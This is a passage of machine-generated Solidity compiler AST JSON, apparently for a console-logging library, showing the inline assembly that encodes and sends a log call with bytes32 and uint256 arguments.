","value":{"kind":"number","nativeSrc":"394598:1:22","nodeType":"YulLiteral","src":"394598:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"394588:6:22","nodeType":"YulTypedName","src":"394588:6:22","type":""}]},{"body":{"nativeSrc":"394669:40:22","nodeType":"YulBlock","src":"394669:40:22","statements":[{"body":{"nativeSrc":"394698:9:22","nodeType":"YulBlock","src":"394698:9:22","statements":[{"nativeSrc":"394700:5:22","nodeType":"YulBreak","src":"394700:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"394686:6:22","nodeType":"YulIdentifier","src":"394686:6:22"},{"name":"w","nativeSrc":"394694:1:22","nodeType":"YulIdentifier","src":"394694:1:22"}],"functionName":{"name":"byte","nativeSrc":"394681:4:22","nodeType":"YulIdentifier","src":"394681:4:22"},"nativeSrc":"394681:15:22","nodeType":"YulFunctionCall","src":"394681:15:22"}],"functionName":{"name":"iszero","nativeSrc":"394674:6:22","nodeType":"YulIdentifier","src":"394674:6:22"},"nativeSrc":"394674:23:22","nodeType":"YulFunctionCall","src":"394674:23:22"},"nativeSrc":"394671:36:22","nodeType":"YulIf","src":"394671:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"394626:6:22","nodeType":"YulIdentifier","src":"394626:6:22"},{"kind":"number","nativeSrc":"394634:4:22","nodeType":"YulLiteral","src":"394634:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"394623:2:22","nodeType":"YulIdentifier","src":"394623:2:22"},"nativeSrc":"394623:16:22","nodeType":"YulFunctionCall","src":"394623:16:22"},"nativeSrc":"394616:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"394640:28:22","nodeType":"YulBlock","src":"394640:28:22","statements":[{"nativeSrc":"394642:24:22","nodeType":"YulAssignment","src":"394642:24:22","value":{"arguments":[{"name":"length","nativeSrc":"394656:6:22","nodeType":"YulIdentifier","src":"394656:6:22"},{"kind":"number","nativeSrc":"394664:1:22","nodeType":"YulLiteral","src":"394664:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"394652:3:22","nodeType":"YulIdentifier","src":"394652:3:22"},"nativeSrc":"394652:14:22","nodeType":"YulFunctionCall","src":"394652:14:22"},"variableNames":[{"name":"length","nativeSrc":"394642:6:22","nodeType":"YulIdentifier","src":"394642:6:22"}]}]},"pre":{"nativeSrc":"394620:2:22","nodeType":"YulBlock","src":"394620:2:22","statements":[]},"src":"394616:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"394733:3:22","nodeType":"YulIdentifier","src":"394733:3:22"},{"name":"length","nativeSrc":"394738:6:22","nodeType":"YulIdentifier","src":"394738:6:22"}],"functionName":{"name":"mstore","nativeSrc":"394726:6:22","nodeType":"YulIdentifier","src":"394726:6:22"},"nativeSrc":"394726:19:22","nodeType":"YulFunctionCall","src":"394726:19:22"},"nativeSrc":"394726:19:22","nodeType":"YulExpressionStatement","src":"394726:19:22"},{"nativeSrc":"394762:37:22","nodeType":"YulVariableDeclaration","src":"394762:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"394779:3:22","nodeType":"YulLiteral","src":"394779:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"394788:1:22","nodeType":"YulLiteral","src":"394788:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"394791:6:22","nodeType":"YulIdentifier","src":"394791:6:22"}],"functionName":{"name":"shl","nativeSrc":"394784:3:22","nodeType":"YulIdentifier","src":"394784:3:22"},"nativeSrc":"394784:14:22","nodeType":"YulFunctionCall","src":"394784:14:22"}],"functionName":{"name":"sub","nativeSrc":"394775:3:22","nodeType":"YulIdentifier","src":"394775:3:22"},"nativeSrc":"394775:24:22","nodeType":"YulFunctionCall","src":"394775:24:22"},"variables":[{"name":"shift","nativeSrc":"394766:5:22","nodeType":"YulTypedName","src":"394766:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"394827:3:22","nodeType":"YulIdentifier","src":"394827:3:22"},{"kind":"number","nativeSrc":"394832:4:22","nodeType":"YulLiteral","src":"394832:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"394823:3:22","nodeType":"YulIdentifier","src":"394823:3:22"},"nativeSrc":"394823:14:22","nodeType":"YulFunctionCall","src":"394823:14:22"},{"arguments":[{"name":"shift","nativeSrc":"394843:5:22","nodeType":"YulIdentifier","src":"394843:5:22"},{"arguments":[{"name":"shift","nativeSrc":"394854:5:22","nodeType":"YulIdentifier","src":"394854:5:22"},{"name":"w","nativeSrc":"394861:1:22","nodeType":"YulIdentifier","src":"394861:1:22"}],"functionName":{"name":"shr","nativeSrc":"394850:3:22","nodeType":"YulIdentifier","src":"394850:3:22"},"nativeSrc":"394850:13:22","nodeType":"YulFunctionCall","src":"394850:13:22"}],"functionName":{"name":"shl","nativeSrc":"394839:3:22","nodeType":"YulIdentifier","src":"394839:3:22"},"nativeSrc":"394839:25:22","nodeType":"YulFunctionCall","src":"394839:25:22"}],"functionName":{"name":"mstore","nativeSrc":"394816:6:22","nodeType":"YulIdentifier","src":"394816:6:22"},"nativeSrc":"394816:49:22","nodeType":"YulFunctionCall","src":"394816:49:22"},"nativeSrc":"394816:49:22","nodeType":"YulExpressionStatement","src":"394816:49:22"}]},"name":"writeString","nativeSrc":"394537:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"394558:3:22","nodeType":"YulTypedName","src":"394558:3:22","type":""},{"name":"w","nativeSrc":"394563:1:22","nodeType":"YulTypedName","src":"394563:1:22","type":""}],"src":"394537:342:22"},{"nativeSrc":"394892:17:22","nodeType":"YulAssignment","src":"394892:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"394904:4:22","nodeType":"YulLiteral","src":"394904:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"394898:5:22","nodeType":"YulIdentifier","src":"394898:5:22"},"nativeSrc":"394898:11:22","nodeType":"YulFunctionCall","src":"394898:11:22"},"variableNames":[{"name":"m0","nativeSrc":"394892:2:22","nodeType":"YulIdentifier","src":"394892:2:22"}]},{"nativeSrc":"394922:17:22","nodeType":"YulAssignment","src":"394922:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"394934:4:22","nodeType":"YulLiteral","src":"394934:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"394928:5:22","nodeType":"YulIdentifier","src":"394928:5:22"},"nativeSrc":"394928:11:22","nodeType":"YulFunctionCall","src":"394928:11:22"},"variableNames":[{"name":"m1","nativeSrc":"394922:2:22","nodeType":"YulIdentifier","src":"394922:2:22"}]},{"nativeSrc":"394952:17:22","nodeType":"YulAssignment","src":"394952:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"394964:4:22","nodeType":"YulLiteral","src":"394964:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"394958:5:22","nodeType":"YulIdentifier","src":"394958:5:22"},"nativeSrc":"394958:11:22","nodeType":"YulFunctionCall","src":"394958:11:22"},"variableNames":[{"name":"m2","nativeSrc":"394952:2:22","nodeType":"YulIdentifier","src":"394952:2:22"}]},{"nativeSrc":"394982:17:22","nodeType":"YulAssignment","src":"394982:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"394994:4:22","nodeType":"YulLiteral","src":"394994:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"394988:5:22","nodeType":"YulIdentifier","src":"394988:5:22"},"nativeSrc":"394988:11:22","nodeType":"YulFunctionCall","src":"394988:11:22"},"variableNames":[{"name":"m3","nativeSrc":"394982:2:22","nodeType":"YulIdentifier","src":"394982:2:22"}]},{"nativeSrc":"395012:17:22","nodeType":"YulAssignment","src":"395012:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"395024:4:22","nodeType":"YulLiteral","src":"395024:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"395018:5:22","nodeType":"YulIdentifier","src":"395018:5:22"},"nativeSrc":"395018:11:22","nodeType":"YulFunctionCall","src":"395018:11:22"},"variableNames":[{"name":"m4","nativeSrc":"395012:2:22","nodeType":"YulIdentifier","src":"395012:2:22"}]},{"nativeSrc":"395042:17:22","nodeType":"YulAssignment","src":"395042:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"395054:4:22","nodeType":"YulLiteral","src":"395054:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"395048:5:22","nodeType":"YulIdentifier","src":"395048:5:22"},"nativeSrc":"395048:11:22","nodeType":"YulFunctionCall","src":"395048:11:22"},"variableNames":[{"name":"m5","nativeSrc":"395042:2:22","nodeType":"YulIdentifier","src":"395042:2:22"}]},{"nativeSrc":"395072:17:22","nodeType":"YulAssignment","src":"395072:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"395084:4:22","nodeType":"YulLiteral","src":"395084:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"395078:5:22","nodeType":"YulIdentifier","src":"395078:5:22"},"nativeSrc":"395078:11:22","nodeType":"YulFunctionCall","src":"395078:11:22"},"variableNames":[{"name":"m6","nativeSrc":"395072:2:22","nodeType":"YulIdentifier","src":"395072:2:22"}]},{"nativeSrc":"395102:17:22","nodeType":"YulAssignment","src":"395102:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"395114:4:22","nodeType":"YulLiteral","src":"395114:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"395108:5:22","nodeType":"YulIdentifier","src":"395108:5:22"},"nativeSrc":"395108:11:22","nodeType":"YulFunctionCall","src":"395108:11:22"},"variableNames":[{"name":"m7","nativeSrc":"395102:2:22","nodeType":"YulIdentifier","src":"395102:2:22"}]},{"nativeSrc":"395132:18:22","nodeType":"YulAssignment","src":"395132:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"395144:5:22","nodeType":"YulLiteral","src":"395144:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"395138:5:22","nodeType":"YulIdentifier","src":"395138:5:22"},"nativeSrc":"395138:12:22","nodeType":"YulFunctionCall","src":"395138:12:22"},"variableNames":[{"name":"m8","nativeSrc":"395132:2:22","nodeType":"YulIdentifier","src":"395132:2:22"}]},{"nativeSrc":"395163:18:22","nodeType":"YulAssignment","src":"395163:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"395175:5:22","nodeType":"YulLiteral","src":"395175:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"395169:5:22","nodeType":"YulIdentifier","src":"395169:5:22"},"nativeSrc":"395169:12:22","nodeType":"YulFunctionCall","src":"395169:12:22"},"variableNames":[{"name":"m9","nativeSrc":"395163:2:22","nodeType":"YulIdentifier","src":"395163:2:22"}]},{"nativeSrc":"395194:19:22","nodeType":"YulAssignment","src":"395194:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"395207:5:22","nodeType":"YulLiteral","src":"395207:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"395201:5:22","nodeType":"YulIdentifier","src":"395201:5:22"},"nativeSrc":"395201:12:22","nodeType":"YulFunctionCall","src":"395201:12:22"},"variableNames":[{"name":"m10","nativeSrc":"395194:3:22","nodeType":"YulIdentifier","src":"395194:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395297:4:22","nodeType":"YulLiteral","src":"395297:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"395303:10:22","nodeType":"YulLiteral","src":"395303:10:22","type":"","value":"0x8eafb02b"}],"functionName":{"name":"mstore","nativeSrc":"395290:6:22","nodeType":"YulIdentifier","src":"395290:6:22"},"nativeSrc":"395290:24:22","nodeType":"YulFunctionCall","src":"395290:24:22"},"nativeSrc":"395290:24:22","nodeType":"YulExpressionStatement","src":"395290:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395334:4:22","nodeType":"YulLiteral","src":"395334:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"395340:4:22","nodeType":"YulLiteral","src":"395340:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"395327:6:22","nodeType":"YulIdentifier","src":"395327:6:22"},"nativeSrc":"395327:18:22","nodeType":"YulFunctionCall","src":"395327:18:22"},"nativeSrc":"395327:18:22","nodeType":"YulExpressionStatement","src":"395327:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395365:4:22","nodeType":"YulLiteral","src":"395365:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"395371:4:22","nodeType":"YulLiteral","src":"395371:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"395358:6:22","nodeType":"YulIdentifier","src":"395358:6:22"},"nativeSrc":"395358:18:22","nodeType":"YulFunctionCall","src":"395358:18:22"},"nativeSrc":"395358:18:22","nodeType":"YulExpressionStatement","src":"395358:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395396:4:22","nodeType":"YulLiteral","src":"395396:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"395402:5:22","nodeType":"YulLiteral","src":"395402:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"395389:6:22","nodeType":"YulIdentifier","src":"395389:6:22"},"nativeSrc":"395389:19:22","nodeType":"YulFunctionCall","src":"395389:19:22"},"nativeSrc":"395389:19:22","nodeType":"YulExpressionStatement","src":"395389:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395428:4:22","nodeType":"YulLiteral","src":"395428:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"395434:2:22","nodeType":"YulIdentifier","src":"395434:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395421:6:22","nodeType":"YulIdentifier","src":"395421:6:22"},"nativeSrc":"395421:16:22","nodeType":"YulFunctionCall","src":"395421:16:22"},"nativeSrc":"395421:16:22","nodeType":"YulExpressionStatement","src":"395421:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395462:4:22","nodeType":"YulLiteral","src":"395462:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"395468:2:22","nodeType":"YulIdentifier","src":"395468:2:22"}],"functionName":{"name":"writeString","nativeSrc":"395450:11:22","nodeType":"YulIdentifier","src":"395450:11:22"},"nativeSrc":"395450:21:22","nodeType":"YulFunctionCall","src":"395450:21:22"},"nativeSrc":"395450:21:22","nodeType":"YulExpressionStatement","src":"395450:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395496:4:22","nodeType":"YulLiteral","src":"395496:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"395502:2:22","nodeType":"YulIdentifier","src":"395502:2:22"}],"functionName":{"name":"writeString","nativeSrc":"395484:11:22","nodeType":"YulIdentifier","src":"395484:11:22"},"nativeSrc":"395484:21:22","nodeType":"YulFunctionCall","src":"395484:21:22"},"nativeSrc":"395484:21:22","nodeType":"YulExpressionStatement","src":"395484:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395530:5:22","nodeType":"YulLiteral","src":"395530:5:22","type":"","value":"0x120"},{"name":"p2","nativeSrc":"395537:2:22","nodeType":"YulIdentifier","src":"395537:2:22"}],"functionName":{"name":"writeString","nativeSrc":"395518:11:22","nodeType":"YulIdentifier","src":"395518:11:22"},"nativeSrc":"395518:22:22","nodeType":"YulFunctionCall","src":"395518:22:22"},"nativeSrc":"395518:22:22","nodeType":"YulExpressionStatement","src":"395518:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46488,"isOffset":false,"isSlot":false,"src":"394892:2:22","valueSize":1},{"declaration":46491,"isOffset":false,"isSlot":false,"src":"394922:2:22","valueSize":1},{"declaration":46518,"isOffset":false,"isSlot":false,"src":"395194:3:22","valueSize":1},{"declaration":46494,"isOffset":false,"isSlot":false,"src":"394952:2:22","valueSize":1},{"declaration":46497,"isOffset":false,"isSlot":false,"src":"394982:2:22","valueSize":1},{"declaration":46500,"isOffset":false,"isSlot":false,"src":"395012:2:22","valueSize":1},{"declaration":46503,"isOffset":false,"isSlot":false,"src":"395042:2:22","valueSize":1},{"declaration":46506,"isOffset":false,"isSlot":false,"src":"395072:2:22","valueSize":1},{"declaration":46509,"isOffset":false,"isSlot":false,"src":"395102:2:22","valueSize":1},{"declaration":46512,"isOffset":false,"isSlot":false,"src":"395132:2:22","valueSize":1},{"declaration":46515,"isOffset":false,"isSlot":false,"src":"395163:2:22","valueSize":1},{"declaration":46478,"isOffset":false,"isSlot":false,"src":"395468:2:22","valueSize":1},{"declaration":46480,"isOffset":false,"isSlot":false,"src":"395502:2:22","valueSize":1},{"declaration":46482,"isOffset":false,"isSlot":false,"src":"395537:2:22","valueSize":1},{"declaration":46484,"isOffset":false,"isSlot":false,"src":"395434:2:22","valueSize":1}],"id":46520,"nodeType":"InlineAssembly","src":"394514:1036:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46522,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"395575:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":46523,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"395581:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":46521,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"395559:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"395559:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46525,"nodeType":"ExpressionStatement","src":"395559:28:22"},{"AST":{"nativeSrc":"395606:334:22","nodeType":"YulBlock","src":"395606:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"395627:4:22","nodeType":"YulLiteral","src":"395627:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"395633:2:22","nodeType":"YulIdentifier","src":"395633:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395620:6:22","nodeType":"YulIdentifier","src":"395620:6:22"},"nativeSrc":"395620:16:22","nodeType":"YulFunctionCall","src":"395620:16:22"},"nativeSrc":"395620:16:22","nodeType":"YulExpressionStatement","src":"395620:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395656:4:22","nodeType":"YulLiteral","src":"395656:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"395662:2:22","nodeType":"YulIdentifier","src":"395662:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395649:6:22","nodeType":"YulIdentifier","src":"395649:6:22"},"nativeSrc":"395649:16:22","nodeType":"YulFunctionCall","src":"395649:16:22"},"nativeSrc":"395649:16:22","nodeType":"YulExpressionStatement","src":"395649:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395685:4:22","nodeType":"YulLiteral","src":"395685:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"395691:2:22","nodeType":"YulIdentifier","src":"395691:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395678:6:22","nodeType":"YulIdentifier","src":"395678:6:22"},"nativeSrc":"395678:16:22","nodeType":"YulFunctionCall","src":"395678:16:22"},"nativeSrc":"395678:16:22","nodeType":"YulExpressionStatement","src":"395678:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395714:4:22","nodeType":"YulLiteral","src":"395714:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"395720:2:22","nodeType":"YulIdentifier","src":"395720:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395707:6:22","nodeType":"YulIdentifier","src":"395707:6:22"},"nativeSrc":"395707:16:22","nodeType":"YulFunctionCall","src":"395707:16:22"},"nativeSrc":"395707:16:22","nodeType":"YulExpressionStatement","src":"395707:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395743:4:22","nodeType":"YulLiteral","src":"395743:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"395749:2:22","nodeType":"YulIdentifier","src":"395749:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395736:6:22","nodeType":"YulIdentifier","src":"395736:6:22"},"nativeSrc":"395736:16:22","nodeType":"YulFunctionCall","src":"395736:16:22"},"nativeSrc":"395736:16:22","nodeType":"YulExpressionStatement","src":"395736:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395772:4:22","nodeType":"YulLiteral","src":"395772:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"395778:2:22","nodeType":"YulIdentifier","src":"395778:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395765:6:22","nodeType":"YulIdentifier","src":"395765:6:22"},"nativeSrc":"395765:16:22","nodeType":"YulFunctionCall","src":"395765:16:22"},"nativeSrc":"395765:16:22","nodeType":"YulExpressionStatement","src":"395765:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395801:4:22","nodeType":"YulLiteral","src":"395801:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"395807:2:22","nodeType":"YulIdentifier","src":"395807:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395794:6:22","nodeType":"YulIdentifier","src":"395794:6:22"},"nativeSrc":"395794:16:22","nodeType":"YulFunctionCall","src":"395794:16:22"},"nativeSrc":"395794:16:22","nodeType":"YulExpressionStatement","src":"395794:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395830:4:22","nodeType":"YulLiteral","src":"395830:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"395836:2:22","nodeType":"YulIdentifier","src":"395836:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395823:6:22","nodeType":"YulIdentifier","src":"395823:6:22"},"nativeSrc":"395823:16:22","nodeType":"YulFunctionCall","src":"395823:16:22"},"nativeSrc":"395823:16:22","nodeType":"YulExpressionStatement","src":"395823:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395859:5:22","nodeType":"YulLiteral","src":"395859:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"395866:2:22","nodeType":"YulIdentifier","src":"395866:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395852:6:22","nodeType":"YulIdentifier","src":"395852:6:22"},"nativeSrc":"395852:17:22","nodeType":"YulFunctionCall","src":"395852:17:22"},"nativeSrc":"395852:17:22","nodeType":"YulExpressionStatement","src":"395852:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395889:5:22","nodeType":"YulLiteral","src":"395889:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"395896:2:22","nodeType":"YulIdentifier","src":"395896:2:22"}],"functionName":{"name":"mstore","nativeSrc":"395882:6:22","nodeType":"YulIdentifier","src":"395882:6:22"},"nativeSrc":"395882:17:22","nodeType":"YulFunctionCall","src":"395882:17:22"},"nativeSrc":"395882:17:22","nodeType":"YulExpressionStatement","src":"395882:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"395919:5:22","nodeType":"YulLiteral","src":"395919:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"395926:3:22","nodeType":"YulIdentifier","src":"395926:3:22"}],"functionName":{"name":"mstore","nativeSrc":"395912:6:22","nodeType":"YulIdentifier","src":"395912:6:22"},"nativeSrc":"395912:18:22","nodeType":"YulFunctionCall","src":"395912:18:22"},"nativeSrc":"395912:18:22","nodeType":"YulExpressionStatement","src":"395912:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46488,"isOffset":false,"isSlot":false,"src":"395633:2:22","valueSize":1},{"declaration":46491,"isOffset":false,"isSlot":false,"src":"395662:2:22","valueSize":1},{"declaration":46518,"isOffset":false,"isSlot":false,"src":"395926:3:22","valueSize":1},{"declaration":46494,"isOffset":false,"isSlot":false,"src":"395691:2:22","valueSize":1},{"declaration":46497,"isOffset":false,"isSlot":false,"src":"395720:2:22","valueSize":1},{"declaration":46500,"isOffset":false,"isSlot":false,"src":"395749:2:22","valueSize":1},{"declaration":46503,"isOffset":false,"isSlot":false,"src":"395778:2:22","valueSize":1},{"declaration":46506,"isOffset":false,"isSlot":false,"src":"395807:2:22","valueSize":1},{"declaration":46509,"isOffset":false,"isSlot":false,"src":"395836:2:22","valueSize":1},{"declaration":46512,"isOffset":false,"isSlot":false,"src":"395866:2:22","valueSize":1},{"declaration":46515,"isOffset":false,"isSlot":false,"src":"395896:2:22","valueSize":1}],"id":46526,"nodeType":"InlineAssembly","src":"395597:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"394217:3:22","parameters":{"id":46485,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46478,"mutability":"mutable","name":"p0","nameLocation":"394229:2:22","nodeType":"VariableDeclaration","scope":46528,"src":"394221:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46477,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394221:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46480,"mutability":"mutable","name":"p1","nameLocation":"394241:2:22","nodeType":"VariableDeclaration","scope":46528,"src":"394233:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46479,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394233:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46482,"mutability":"mutable","name":"p2","nameLocation":"394253:2:22","nodeType":"VariableDeclaration","scope":46528,"src":"394245:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46481,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394245:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46484,"mutability":"mutable","name":"p3","nameLocation":"394265:2:22","nodeType":"VariableDeclaration","scope":46528,"src":"394257:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":46483,"name":"uint256","nodeType":"ElementaryTypeName","src":"394257:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"394220:48:22"},"returnParameters":{"id":46486,"nodeType":"ParameterList","parameters":[],"src":"394283:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46586,"nodeType":"FunctionDefinition","src":"395952:1943:22","nodes":[],"body":{"id":46585,"nodeType":"Block","src":"396027:1868:22","nodes":[],"statements":[{"assignments":[46540],"declarations":[{"constant":false,"id":46540,"mutability":"mutable","name":"m0","nameLocation":"396045:2:22","nodeType":"VariableDeclaration","scope":46585,"src":"396037:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46539,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396037:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46541,"nodeType":"VariableDeclarationStatement","src":"396037:10:22"},{"assignments":[46543],"declarations":[{"constant":false,"id":46543,"mutability":"mutable","name":"m1","nameLocation":"396065:2:22","nodeType":"VariableDeclaration","scope":46585,"src":"396057:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46542,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396057:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46544,"nodeType":"VariableDeclarationStatement","src":"396057:10:22"},{"assignments":[46546],"declarations":[{"constant":false,"id":46546,"mutability":"mutable","name":"m2","nameLocation":"396085:2:22","nodeType":"VariableDeclaration","scope":46585,"src":"396077:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46545,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396077:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46547,"nodeType":"VariableDeclarationStatement","src":"396077:10:22"},{"assignments":[46549],"declarations":[{"constant":false,"id":46549,"mutability":"mutable","name":"m3","nameLocation":"396105:2:22","nodeType":"VariableDeclaration","scope":46585,"src":"396097:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46548,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396097:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46550,"nodeType":"VariableDeclarationStatement","src":"396097:10:22"},{"assignments":[46552],"declarations":[{"constant":false,"id":46552,"mutability":"mutable","name":"m4","nameLocation":"396125:2:22","nodeType":"VariableDeclaration","scope":46585,"src":"396117:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46551,"name":"bytes